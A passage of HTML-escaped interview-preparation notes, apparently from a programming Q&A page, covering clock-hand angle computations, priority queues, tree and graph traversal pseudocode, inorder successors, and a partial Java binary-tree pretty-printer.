        &lt;b&gt;return&lt;/b&gt; Math.abs (angleFromNoonBig - angleFromNoonSmall);        
    }
&lt;/pre&gt;

&lt;p&gt;
&lt;b&gt;A little more precise approach&lt;/b&gt;
&lt;/p&gt;

&lt;pre&gt;
    &lt;b&gt;public static double&lt;/b&gt; getAngleInDegreesBetweenHandsOnClock (&lt;b&gt;int&lt;/b&gt; hour /*0-59*/, &lt;b&gt;int&lt;/b&gt; minute /*0-59*/, 
                &lt;b&gt;int&lt;/b&gt; second /*0-59*/) {
        
        &lt;b&gt;double&lt;/b&gt; angleFromNoonBig = ((&lt;b&gt;double&lt;/b&gt;)hour * 360 / 12) + ((&lt;b&gt;double&lt;/b&gt;)minute * 360 / 12 / 60) 
		        + ((&lt;b&gt;double&lt;/b&gt;)second * 360 / 12 / 60 / 60);
        &lt;b&gt;double&lt;/b&gt; angleFromNoonSmall = ((&lt;b&gt;double&lt;/b&gt;)minute * 360 / 60) + ((&lt;b&gt;double&lt;/b&gt;)second * 360 / 60 / 60);
        
        &lt;b&gt;return&lt;/b&gt; Math.abs (angleFromNoonBig - angleFromNoonSmall);        
    }
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt19b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;19.b.&lt;/b&gt; How many times a day does a clock&apos;s hands overlap?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt19b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
22 times a day if you only count the minute and hour hands overlapping. (12:00, 1:05, 2:11, 3:16, etc.)
&lt;/p&gt;
&lt;p&gt;
2 times a day if you only count when all three hands overlap. This occurs at midnight and noon. 
&lt;/p&gt;
&lt;p&gt;
One can use the algorithm above to ensure this:
&lt;/p&gt;

&lt;pre&gt;
    List&amp;lt;String&gt; result = new ArrayList&amp;lt;String&gt;();
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; 60; i++) {
            &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; j = 0; j &amp;lt; 60; j++) {
                &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; k = 0; k &amp;lt; 60; k++) {
                    &lt;b&gt;double&lt;/b&gt; angle = DateUtils.getAngleInDegreesBetweenHandsOnClock(i, j, k);
                    &lt;b&gt;if&lt;/b&gt; (angle &amp;lt; 0.045 &amp;&amp; angle &gt; -0.045) {
                        result.add (i + &quot;:&quot; + j + &quot;:&quot; + k);
                    }
                }                
            }
        }
        System.err.println (result);
&lt;/pre&gt;

&lt;p&gt;
Which gives:
&lt;/p&gt;

&lt;pre&gt;
[0:0:0, 1:5:27, 2:10:55, 3:16:22, 4:21:49, 5:27:16, 6:32:44, 7:38:11, 8:43:38, 9:49:5, 10:54:33]
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt20&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;20.&lt;/b&gt; What is a priority queue ? And what are the cost of the usual operations ?&lt;br&gt;
&lt;span style=&quot;color: green;&quot;&gt;[priority queue]&lt;/span&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt20&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
In computer science, a priority queue is an abstract data type which is like a regular queue or stack data structure, but where additionally each element has a &quot;priority&quot; associated with it. In a priority queue, an element with high priority is served before an element with low priority. If two elements have the same priority, they are served according to their order in the queue.
&lt;/p&gt;
&lt;p&gt;
In fact, a priority queue is pretty much a sorted list, which is kept sorted upon insertion.
&lt;/p&gt;
&lt;p&gt;
One usual implementation relies on a Linked List, respecting following properties:
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;b&gt;Insertion&lt;/b&gt; : in O(log n) if implemented using a binary search approach to find insertion point. &lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Removal&lt;/b&gt;: in O(log n) using same approach &lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Search of an element&lt;/b&gt; : in O(log n) using same approach &lt;/li&gt;
    &lt;li&gt;&lt;b&gt;get successor or predecessor&lt;/b&gt; : in O(log n) using same approach &lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Get min or max&lt;/b&gt; : in constant time - O(1) - by using the head pointer or tail pointer. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Initial construction here is O(n log n). I do not see a better way also online docs (wikipedia) show that there should be some ...
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt21&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;21.&lt;/b&gt; Tree traversal &lt;br&gt;
Describe and discuss common tree traversal algorithms&lt;br&gt;
&lt;span style=&quot;color: green&quot;&gt;[Tree traversal algos]&lt;/span&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt21&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
In computer science, tree traversal refers to the process of visiting (examining and/or updating) each node in a tree data structure, exactly once, in a systematic way. Such traversals are classified by the order in which the nodes are visited. The following algorithms are described for a binary tree, but they may be generalized to other trees as well.
&lt;br&gt;
The algorithms we&apos;ll discuss here are considered &lt;b&gt;Depth-first&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Pre-order&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Algorithm principle:
&lt;/p&gt;
&lt;ol&gt;
     &lt;li&gt;Visit the root.&lt;/li&gt;
     &lt;li&gt;Traverse the left subtree.&lt;/li&gt;
     &lt;li&gt;Traverse the right subtree.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
With the following pseudo-code:
&lt;/p&gt;

&lt;table style=&quot;border: 0px none; margin-left: 10px; margin-right: 10px; vertical-align: top;&quot;&gt;&lt;tr&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; &quot;&gt;&lt;pre&gt;
preorder(node)
  &lt;b&gt;if&lt;/b&gt; node == null &lt;b&gt;then&lt;/b&gt; return
  &lt;span style=&quot;color: red;&quot;&gt;visit(node)&lt;/span&gt;
  preorder(node.left) 
  preorder(node.right)
&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; &quot;&gt;&lt;pre&gt;
iterativePreorder(node)
  parentStack = empty stack
  while not parentStack.isEmpty() or node != null
     &lt;b&gt;if&lt;/b&gt; node != null &lt;b&gt;then&lt;/b&gt;
        parentStack.push(node)
        &lt;span style=&quot;color: red;&quot;&gt;visit(node)&lt;/span&gt;
        node = node.left
     &lt;b&gt;else&lt;/b&gt;
        node = parentStack.pop()
        node = node.right
&lt;/pre&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;

&lt;p&gt;
&lt;b&gt;In-order&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Algorithm principle:
&lt;/p&gt;

&lt;ol&gt;
     &lt;li&gt;Traverse the left subtree.&lt;/li&gt;
     &lt;li&gt;Visit the root.&lt;/li&gt;     
     &lt;li&gt;Traverse the right subtree.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
With the following pseudo-code:
&lt;/p&gt;

&lt;table style=&quot;border: 0px none; margin-left: 10px; margin-right: 10px; vertical-align: top;&quot;&gt;&lt;tr&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; &quot;&gt;&lt;pre&gt;
inorder(node)
  &lt;b&gt;if&lt;/b&gt; node == null &lt;b&gt;then&lt;/b&gt; return
  inorder(node.left)
  &lt;span style=&quot;color: red;&quot;&gt;visit(node)&lt;/span&gt;
  inorder(node.right)
&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; &quot;&gt;&lt;pre&gt;
iterativeInorder(node)
  parentStack = empty stack
  &lt;b&gt;while not&lt;/b&gt; parentStack.isEmpty() &lt;b&gt;or&lt;/b&gt; node != null
     &lt;b&gt;if&lt;/b&gt; node != null &lt;b&gt;then&lt;/b&gt;
        parentStack.push(node)
        node = node.left
     &lt;b&gt;else&lt;/b&gt;
        node = parentStack.pop()
        &lt;span style=&quot;color: red;&quot;&gt;visit(node)&lt;/span&gt;
        node = node.right
&lt;/pre&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;

&lt;p&gt;
&lt;b&gt;Post-order&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Algorithm principle:
&lt;/p&gt;

&lt;ol&gt;
     &lt;li&gt;Traverse the left subtree.&lt;/li&gt;        
     &lt;li&gt;Traverse the right subtree.&lt;/li&gt;
     &lt;li&gt;Visit the root.&lt;/li&gt; 
&lt;/ol&gt;

&lt;p&gt;
With the following pseudo-code:
&lt;/p&gt;

&lt;table style=&quot;border: 0px none; margin-left: 10px; margin-right: 10px; vertical-align: top;&quot;&gt;&lt;tr&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; &quot;&gt;&lt;pre&gt;
postorder(node)
  &lt;b&gt;if&lt;/b&gt; node == null &lt;b&gt;then&lt;/b&gt; return
  postorder(node.left)    
  postorder(node.right)
  &lt;span style=&quot;color: red;&quot;&gt;visit(node)&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; &quot;&gt;&lt;pre&gt;
iterativePostorder(node)
  &lt;b&gt;if&lt;/b&gt; node == null &lt;b&gt;then&lt;/b&gt; return
  nodeStack.push(node)
  prevNode = null
  &lt;b&gt;while not&lt;/b&gt; nodeStack.isEmpty()
     currNode = nodeStack.peek()
     &lt;b&gt;if&lt;/b&gt; prevNode == null &lt;b&gt;or&lt;/b&gt; prevNode.left == currNode 
	        &lt;b&gt;or&lt;/b&gt; prevNode.right == currNode
        &lt;b&gt;if&lt;/b&gt; currNode.left != null
          nodeStack.push(currNode.left)
        &lt;b&gt;else if&lt;/b&gt; currNode.right != null
          nodeStack.push(currNode.right)
     &lt;b&gt;else if&lt;/b&gt; currNode.left == prevNode
        &lt;b&gt;if&lt;/b&gt; currNode.right != null
          nodeStack.push(currNode.right)
     &lt;b&gt;else&lt;/b&gt;
        &lt;span style=&quot;color: red;&quot;&gt;visit(currNode)&lt;/span&gt;
        nodeStack.pop()
     prevNode = currNode
&lt;/pre&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;

&lt;p&gt;
Source on wikipedia : &lt;a href=&quot;http://en.wikipedia.org/wiki/Tree_traversal&quot;&gt;http://en.wikipedia.org/wiki/Tree_traversal&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt22&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;22.&lt;/b&gt; Graph traversal &lt;br&gt;
Describe and discuss common graph traversal algorithms&lt;br&gt;
&lt;span style=&quot;color: green&quot;&gt;[Graph Search algo]&lt;/span&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt22&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Depth-first search (DFS)&lt;/b&gt;
&lt;a id=&quot;DFS_graph&quot;&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
Depth-first search (DFS) is an algorithm for traversing or searching a tree, tree structure, or graph. One starts at the root (selecting some node as the root in the graph case) and explores as far as possible along each branch before backtracking.
&lt;/p&gt;
&lt;p&gt;
 DFS is an uninformed search that progresses by expanding the first child node of the search tree that appears and thus going deeper and deeper until a goal node is found, or until it hits a node that has no children. Then the search backtracks, returning to the most recent node it hasn&apos;t finished exploring. In a non-recursive implementation, all freshly expanded nodes are added to a stack for exploration.
&lt;/p&gt;
&lt;p&gt;
Algorithm :
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Input:&lt;/b&gt; A graph G and a vertex v of G&lt;br&gt;
&lt;b&gt;Output:&lt;/b&gt; A labeling of the edges in the connected component of v as discovery edges and back edges
&lt;/p&gt;

&lt;pre&gt;
1  &lt;b&gt;procedure&lt;/b&gt; DFS(G,v):
2        label v as explored
3        &lt;b&gt;for all&lt;/b&gt; edges e in G.adjacentEdges(v) &lt;b&gt;do&lt;/b&gt;
4             &lt;b&gt;if&lt;/b&gt; edge e is unexplored &lt;b&gt;then&lt;/b&gt;
5                  w &amp;lt;- G.adjacentVertex(v,e)
6                  &lt;b&gt;if&lt;/b&gt; vertex w is unexplored &lt;b&gt;then&lt;/b&gt;
7                        label e as a discovery edge
8                        recursively call DFS(G,w)
9                  &lt;b&gt;else&lt;/b&gt;
10                      label e as a back edge
&lt;/pre&gt;

&lt;p&gt;
Complexity : O(|V|) 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;breadth-first search (BFS)&lt;/b&gt;
&lt;a id=&quot;BFS_graph&quot;&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
breadth-first search (BFS) is a strategy for searching in a graph when search is limited to essentially two operations: (a) visit and inspect a node of a graph; (b) gain access to visit the nodes that neighbor the currently visited node. The BFS begins at a root node and inspects all the neighboring nodes. Then for each of those neighbor nodes in turn, it inspects their neighbor nodes which were unvisited, and so on. Compare it with the depth-first search.
&lt;/p&gt;
&lt;p&gt;
The algorithm uses a queue data structure to store intermediate results as it traverses the graph, as follows:
&lt;/p&gt;

&lt;ol&gt;
     &lt;li&gt;Enqueue the root node&lt;/li&gt;
     &lt;li&gt;Dequeue a node and examine it
        &lt;ul&gt;
          &lt;li&gt;If the element sought is found in this node, quit the search and return a result.&lt;/li&gt;
          &lt;li&gt;Otherwise enqueue any successors (the direct child nodes) that have not yet been discovered.&lt;/li&gt;
        &lt;/ul&gt;
     &lt;/li&gt;
     &lt;li&gt;If the queue is empty, every node on the graph has been examined so quit the search and return &quot;not found&quot;.&lt;/li&gt;
     &lt;li&gt;If the queue is not empty, repeat from Step 2.&lt;/li&gt;
&lt;/ol&gt;     

&lt;p&gt;
&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;Note: Using a stack instead of a queue would turn this algorithm into a depth-first search.&lt;/span&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Algorithm :
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Input:&lt;/b&gt; A graph G and a root v of G
&lt;/p&gt;

&lt;pre&gt;
1  &lt;b&gt;procedure&lt;/b&gt; BFS(G,v):
2        create a queue Q
3        enqueue v onto Q
4        mark v
5        &lt;b&gt;while&lt;/b&gt; Q &lt;b&gt;is not&lt;/b&gt; empty:
6             t &amp;lt;- Q.dequeue()
7             &lt;b&gt;if&lt;/b&gt; t is what we are looking for:
8                  &lt;b&gt;return&lt;/b&gt; t
9             &lt;b&gt;for all&lt;/b&gt; edges e in G.adjacentEdges(t) &lt;b&gt;do&lt;/b&gt;
12                 u &amp;lt;- G.adjacentVertex(t,e)
13                 &lt;b&gt;if&lt;/b&gt; u is not marked:
14                        mark u
15                        enqueue u onto Q
&lt;/pre&gt;

&lt;p&gt;
The time complexity can be expressed as O(|V|+|E|) since every vertex and every edge will be explored in the worst case.
&lt;/p&gt;
&lt;p&gt;
Source on wikipedia : &lt;a href=&quot;http://en.wikipedia.org/wiki/Graph_traversal&quot;&gt;http://en.wikipedia.org/wiki/Graph_traversal&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt23&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;23.&lt;/b&gt; How to find Inorder Successor in Binary Search Tree
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt23&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
In Binary Tree, Inorder successor of a node is the next node in Inorder traversal of the Binary Tree. Inorder Successor is NULL for the last node in Inorder traversal.&lt;br&gt;
In Binary Search Tree, Inorder Successor of an input node can also be defined as the node with the smallest key greater than the key of input node. So, it is sometimes important to find next node in sorted order.
&lt;/p&gt;
&lt;img alt=&quot;Binary Tree&quot; src=&quot;http://geeksforgeeks.org/wp-content/uploads/2009/09/BST_LCA.gif&quot; /&gt;
&lt;p&gt;
In the above diagram, inorder successor of 8 is 10, inorder successor of 10 is 12 and inorder successor of 14 is 20.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Method 1 (Uses Parent Pointer)&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
In this method, we assume that every node has a parent pointer.
&lt;/p&gt;
&lt;p&gt;
The Algorithm is divided into two cases on the basis of right subtree of the input node being empty or not.
&lt;/p&gt;
&lt;p&gt;/&gt;
&lt;b&gt;Input:&lt;/b&gt; node, root // where node is the node whose Inorder successor is needed. &lt;br&gt;
&lt;b&gt;output:&lt;/b&gt; succ // where succ is Inorder successor of node.
&lt;/p&gt;
&lt;ol&gt;
     &lt;li&gt;If right subtree of node is not NULL, then succ lies in right subtree. Do following. &lt;br&gt;
          Go to right subtree and return the node with minimum key value in right subtree.
     &lt;/li&gt;
     &lt;li&gt;If right sbtree of node is NULL, then succ is one of the ancestors. Do following. &lt;br&gt;
          Travel up using the parent pointer until you see a node which is left child of it&apos;s parent. The parent of such a node is the succ.
     &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
&lt;b&gt;Method 2 (Search from root)&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Simnply use iterative inorder. When value is found, return next visited node if any
&lt;/p&gt;
&lt;pre&gt;
findSucessor(node, value)
  parentStack = empty stack
  found = false;
  &lt;b&gt;while not&lt;/b&gt; parentStack.isEmpty() or node != null
     &lt;b&gt;if&lt;/b&gt; node != null &lt;b&gt;then&lt;/b&gt;
        parentStack.push(node)
        node = node.left
     &lt;b&gt;else&lt;/b&gt;
        node = parentStack.pop()
        
        // here comes the trick
        &lt;b&gt;if&lt;/b&gt; (node.value == value) &lt;b&gt;then&lt;/b&gt;
             found = true
        &lt;b&gt;if&lt;/b&gt; (found) &lt;b&gt;then&lt;/b&gt;
             return node.value        
        
        node = node.right
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt24&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;24.&lt;/b&gt; Write a method to pretty print a binary tree
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt24&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Key Idea : Use a recursive method that generates the left and right subtrees as an array of string (lines of strings).&lt;br&gt;
Then, when the subtrees arrays of strings are generated, merge them together horizontally and add the root node on top with the 
value located at the location of junction of both sub matrices.
&lt;/p&gt;
&lt;pre&gt;
 ___________________                
 |      __A__      |
 |_____/_   _\_____|
 |   B   | |  C    |
 | ....  | |  .... |    
 |_______| |_______|
&lt;/pre&gt;    
&lt;p&gt;
Using A BFS traversal of the tree enables us then to print the nodes right at the order in which they need to be printed. One only needs 
to store the level with each node when the node is put in the traversal queue
&lt;/p&gt;
&lt;p&gt;
Time complexity = O(n), space complexity = O(n)
&lt;/p&gt;
&lt;p&gt;
Some pseudo code could be:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;procedure&lt;/b&gt; printTree (node)

    leftTreePrint = printTree (node.left)    
    rightTreePrint = printTree (node.right)

    underPart = appendSide  (leftTreePrint, rightTreePrint);

    value = node.information
    fullLength = max (length (leftPrintTree) + length (rightPrintTree), length (value) + 2)

    firstLine = node.information;
    firstLine = padLeft (value, max (length (leftPrintTree), 1))
    firstLine = padRight (value, max (length (rightPrintTree), 1))

    secondLine = ... # Put &quot;   /--------    ------ \&quot; above values of left and right subtree
    
    underPart = appendTop (secondLine, underPart)
    &lt;b&gt;return&lt;/b&gt; appendTop (firstLine, underPart)
&lt;/pre&gt;
&lt;p&gt;
Implementation in Java is as follows, assuming a node is defined this way:
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;code&gt;node.left&lt;/code&gt;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;node.information&lt;/code&gt;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;node.right&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;pre&gt;
&lt;b&gt;public class&lt;/b&gt; TreePrinter {

    &lt;b&gt;public static&lt;/b&gt; String printTree(Node&amp;lt;?&gt; root) {
        MutableInt rootPos = &lt;b&gt;new&lt;/b&gt; MutableInt(0);
        &lt;b&gt;char&lt;/b&gt;[][] printLines = printTree (root, rootPos);
        
        StringBuilder builder = &lt;b&gt;new&lt;/b&gt; StringBuilder();
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;char&lt;/b&gt;[] line : printLines) {
            &lt;b&gt;if&lt;/b&gt; (line != null) {
                builder.append (String.valueOf(line));
                builder.append(&quot;\n&quot;);
            }
        }
        &lt;b&gt;return&lt;/b&gt; builder.toString();
    }

    &lt;b&gt;private static char&lt;/b&gt;[][] printTree(Node root, MutableInt retPos) {
        
        &lt;b&gt;if&lt;/b&gt; (root == &lt;b&gt;null&lt;/b&gt;) {
            &lt;b&gt;return null&lt;/b&gt;;
        }
        
        MutableInt retPosLeft = new MutableInt(0);
        MutableInt retPosRight = new MutableInt(0);
        
        &lt;b&gt;char&lt;/b&gt;[][] leftTreePrint = printTree (root.left, retPosLeft);
        &lt;b&gt;char&lt;/b&gt;[][] rightTreePrint = printTree (root.right, retPosRight);
        
        String value = root.information.toString();
        
        &lt;b&gt;int&lt;/b&gt; lengthLeft = getLength(leftTreePrint, value);
        &lt;b&gt;int&lt;/b&gt; lengthRight = getLength(rightTreePrint, value);
        
        &lt;b&gt;char&lt;/b&gt;[][] under = appendSide  (leftTreePrint, lengthLeft, rightTreePrint, lengthRight); 
		// if one is null, use one space instead
		
        &lt;b&gt;int&lt;/b&gt; fullLength = lengthLeft + lengthRight;// printLength (under);  // min 3 !!!
                
        &lt;b&gt;if&lt;/b&gt; (value.length() + 2 &gt; fullLength) {
            fullLength = value.length() + 1;
        }
        
        // 1. Fill in first line
        &lt;b&gt;char&lt;/b&gt;[] firstLine = &lt;b&gt;new char&lt;/b&gt;[fullLength];
        Arrays.fill(firstLine, &apos; &apos;);
        &lt;b&gt;int&lt;/b&gt; pos = lengthLeft - (value.length() / 2);
        &lt;b&gt;if&lt;/b&gt; (pos &amp;lt; 0) {
            pos = 0;
        }
        retPos.setValue(pos);
        System.arraycopy(value.toCharArray(), 0, firstLine, pos, value.length());
        
        // 2. Fill in second line
        &lt;b&gt;char&lt;/b&gt;[] secondLine = &lt;b&gt;null&lt;/b&gt;;
        &lt;b&gt;if&lt;/b&gt; (under != &lt;b&gt;null&lt;/b&gt; &amp;&amp; under.length &gt; 0) {            
            secondLine = &lt;b&gt;new char&lt;/b&gt;[fullLength];
            Arrays.fill(secondLine, &apos; &apos;);        
            &lt;b&gt;if&lt;/b&gt; (leftTreePrint != &lt;b&gt;null&lt;/b&gt; &amp;&amp; leftTreePrint.length &gt; 0) {
                &lt;b&gt;int&lt;/b&gt; posLeftTree = retPosLeft.intValue() + root.left.information.toString().length() / 2;
                secondLine[posLeftTree &gt;= 0 ? posLeftTree : 0] = &apos;/&apos;;
                // underscores on first line
                &lt;b&gt;if&lt;/b&gt; (posLeftTree + 1 &amp;lt; pos) {
                    Arrays.fill(firstLine, posLeftTree + 1, pos, &apos;_&apos;);
                }
            }
            &lt;b&gt;if&lt;/b&gt; (rightTreePrint != &lt;b&gt;null&lt;/b&gt; &amp;&amp; rightTreePrint.length &gt; 0) {
                &lt;b&gt;int&lt;/b&gt; posRightTree = lengthLeft + retPosRight.intValue() 
				        + root.right.information.toString().length() / 2;
                secondLine[posRightTree &gt;= 1 ? posRightTree : 1] = &apos;\\&apos;;   
                // underscores on first line
                &lt;b&gt;if&lt;/b&gt; (pos + value.length() &amp;lt; posRightTree) {
                    Arrays.fill(firstLine, pos + value.length(), posRightTree, &apos;_&apos;);
                }
            }
        }

        // 3. append underneath tree 
        &lt;b&gt;return&lt;/b&gt; appendTop (firstLine, secondLine, under, lengthLeft, lengthRight); // pad under with left and right spaces if required
    }

    &lt;b&gt;private static int&lt;/b&gt; getLength(&lt;b&gt;char&lt;/b&gt;[][] treePrint, String value) {
        &lt;b&gt;int&lt;/b&gt; length = printLength (treePrint);
        &lt;b&gt;if&lt;/b&gt; (length &amp;lt; (value.length() + 1) / 2) {
            length = (value.length() + 1) / 2;
        }
        &lt;b&gt;return&lt;/b&gt; length;
    }
    
    &lt;b&gt;private static char&lt;/b&gt;[][] appendTop(&lt;b&gt;char&lt;/b&gt;[] firstLine, &lt;b&gt;char&lt;/b&gt;[] secondLine,
            &lt;b&gt;char&lt;/b&gt;[][] under, &lt;b&gt;int&lt;/b&gt; lengthLeft, &lt;b&gt;int&lt;/b&gt; lengthRight) {
        
        &lt;b&gt;int&lt;/b&gt; maxWidth = firstLine.length;
        &lt;b&gt;if&lt;/b&gt; (secondLine != &lt;b&gt;null&lt;/b&gt; &amp;&amp; secondLine.length &gt; maxWidth) {
            maxWidth = secondLine.length;
        }
        &lt;b&gt;if&lt;/b&gt; (under != &lt;b&gt;null&lt;/b&gt; &amp;&amp; under.length &gt; 0 &amp;&amp; under[0].length &gt; maxWidth) {
            maxWidth = under[0].length;
        }
        
        &lt;b&gt;char&lt;/b&gt;[][] result = &lt;b&gt;new char&lt;/b&gt;[1 + (secondLine != null ? 1 : 0) + under.length][];
        result[0] =  padLine (firstLine, maxWidth);
        &lt;b&gt;if&lt;/b&gt; (secondLine != &lt;b&gt;null&lt;/b&gt;) {
            result[1] =  padLine (secondLine, maxWidth);
            &lt;b&gt;if&lt;/b&gt; (under != &lt;b&gt;null&lt;/b&gt; &amp;&amp; under.length &gt; 0) {
                &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; under.length; i++) {
                    result[2 + i] = padLineDirection (under[i], maxWidth, 
					        lengthLeft &gt; lengthRight ? false : true);
                }
            }
        }
        
        &lt;b&gt;return&lt;/b&gt; result;
    }
    
    &lt;b&gt;private static char&lt;/b&gt;[] padLineDirection(&lt;b&gt;char&lt;/b&gt;[] line, &lt;b&gt;int&lt;/b&gt; maxWidth, &lt;b&gt;boolean&lt;/b&gt; left) {
        &lt;b&gt;int&lt;/b&gt; leftPadCounter = 0;
        &lt;b&gt;int&lt;/b&gt; rightPadCounter = 0;
        &lt;b&gt;char&lt;/b&gt;[] result = &lt;b&gt;new char&lt;/b&gt;[maxWidth];
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; maxWidth - line.length; i++) {
            &lt;b&gt;if&lt;/b&gt; (left) {
                result[leftPadCounter] = &apos; &apos;;                
                leftPadCounter++;
            } &lt;b&gt;else&lt;/b&gt; {
                result[maxWidth - 1 - rightPadCounter] = &apos; &apos;;
                rightPadCounter++;
            }
        }
        System.arraycopy(line, 0, result, leftPadCounter, line.length);
        
        &lt;b&gt;return&lt;/b&gt; result;
    }

    &lt;b&gt;private static char&lt;/b&gt;[] padLine(&lt;b&gt;char&lt;/b&gt;[] line, &lt;b&gt;int&lt;/b&gt; maxWidth) {
        &lt;b&gt;int&lt;/b&gt; leftPadCounter = 0;
        &lt;b&gt;int&lt;/b&gt; rightPadCounter = 0;
        &lt;b&gt;char&lt;/b&gt;[] result = &lt;b&gt;new char&lt;/b&gt;[maxWidth];
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; maxWidth - line.length; i++) {
            &lt;b&gt;if&lt;/b&gt; (i % 2 == 1) {
                result[leftPadCounter] = &apos; &apos;;                
                leftPadCounter++;
            } &lt;b&gt;else&lt;/b&gt; {
                result[maxWidth - 1 - rightPadCounter] = &apos; &apos;;
                rightPadCounter++;
            }
        }
        System.arraycopy(line, 0, result, leftPadCounter, line.length);
        
        &lt;b&gt;return&lt;/b&gt; result;
    }

    &lt;b&gt;private static char&lt;/b&gt;[][] appendSide(&lt;b&gt;char&lt;/b&gt;[][] leftTreePrint, &lt;b&gt;int&lt;/b&gt; lengthLeft, &lt;b&gt;char&lt;/b&gt;[][] rightTreePrint, 
	            &lt;b&gt;int&lt;/b&gt; lengthRight) {
        &lt;b&gt;int&lt;/b&gt; maxHeight = 0;
        &lt;b&gt;if&lt;/b&gt; (leftTreePrint != &lt;b&gt;null&lt;/b&gt;) {
            maxHeight = leftTreePrint.length; 
        }
        &lt;b&gt;if&lt;/b&gt; (rightTreePrint != &lt;b&gt;null&lt;/b&gt; &amp;&amp; rightTreePrint.length &gt; maxHeight) {
            maxHeight = rightTreePrint.length;
        }
        
        &lt;b&gt;char&lt;/b&gt;[][] result = &lt;b&gt;new char&lt;/b&gt;[maxHeight][];
        
        // Build assembled row
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; maxHeight; i++) {
